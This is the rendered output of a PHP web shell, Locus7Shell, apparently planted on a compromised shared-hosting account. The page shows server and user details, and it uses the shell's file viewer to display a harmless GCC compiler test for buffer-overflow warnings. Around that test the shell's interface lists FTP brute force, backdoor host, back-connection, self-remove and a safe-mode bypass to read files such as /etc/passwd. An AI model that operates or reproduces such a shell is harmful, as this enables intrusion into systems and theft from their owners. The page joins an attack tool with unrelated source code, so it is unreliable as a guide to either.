Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overflow-64.c (1.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/92936 - missing warning on a past-the-end store to a PHI
   { dg-do compile }
   { dg-options "-O2 -Wall -Wno-array-bounds" } */

typedef __SIZE_TYPE__ size_t;

void* malloc (size_t);
void* memset (void*, int, size_t);

extern char a3[3], a5[5], a9[9];

extern int cnd[];

void* f2 (void)
{
  char *p0 = cnd[0] ? a3 : 0;
  char *p1 = cnd[1] ? a5 : p0;

  return memset (p1, 0, 6);   // { dg-warning "writing 6 bytes into a region of size 5" }
}

void* f3 (void)
{
  char *p0 = cnd[0] ? a3 : 0;
  char *p1 = cnd[1] ? a5 : 0;
  char *p2 = cnd[2] ? p0 : p1;

  return memset (p2, 0, 6);   // { dg-warning "writing 6 bytes into a region of size 5" }
}

void* f3_2 (void)
{
  char *p0 = cnd[0] ? a3 : 0;
  char *p1 = cnd[1] ? a5 : 0;
  char *p2 = cnd[2] ? p1 : p0;

  return memset (p2, 0, 6);   // { dg-warning "writing 6 bytes into a region of size 5" }
}

void* f3_3 (void)
{
  char *p0 = cnd[0] ? a5 : 0;
  char *p1 = cnd[1] ? p0 : a5;
  char *p2 = cnd[2] ? p1 : p0;

  return memset (p2, 0, 6);   // { dg-warning "writing 6 bytes into a region of size 5" }
}

void* f4 (void)
{
  char *p0 = cnd[0] ? a3 : 0;
  char *p1 = cnd[1] ? a5 : 0;
  char *p2 = cnd[2] ? p0 : 0;
  char *p3 = cnd[3] ? p1 : p2;

  return memset (p3, 0, 6);   // { dg-warning "writing 6 bytes into a region of size 5" }
}

void* f9 (void)
{
  char *p0 = cnd[0] ? a5 : 0;
  char *p1 = cnd[1] ? a5 + 1 : 0;
  char *p2 = cnd[2] ? a5 + 2 : 0;
  char *p3 = cnd[3] ? a5 + 3 : 0;
  char *p4 = cnd[4] ? a5 + 4 : 0;

  char *p5 = cnd[5] ? p0 : p1;
  char *p6 = cnd[6] ? p5 : p2;
  char *p7 = cnd[7] ? p6 : p3;
  char *p8 = cnd[8] ? p7 : p4;
  char *p9 = cnd[9] ? p8 : p5;

  return memset (p9, 0, 6);   // { dg-warning "writing 6 bytes into a region of size 5" }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0058 ]--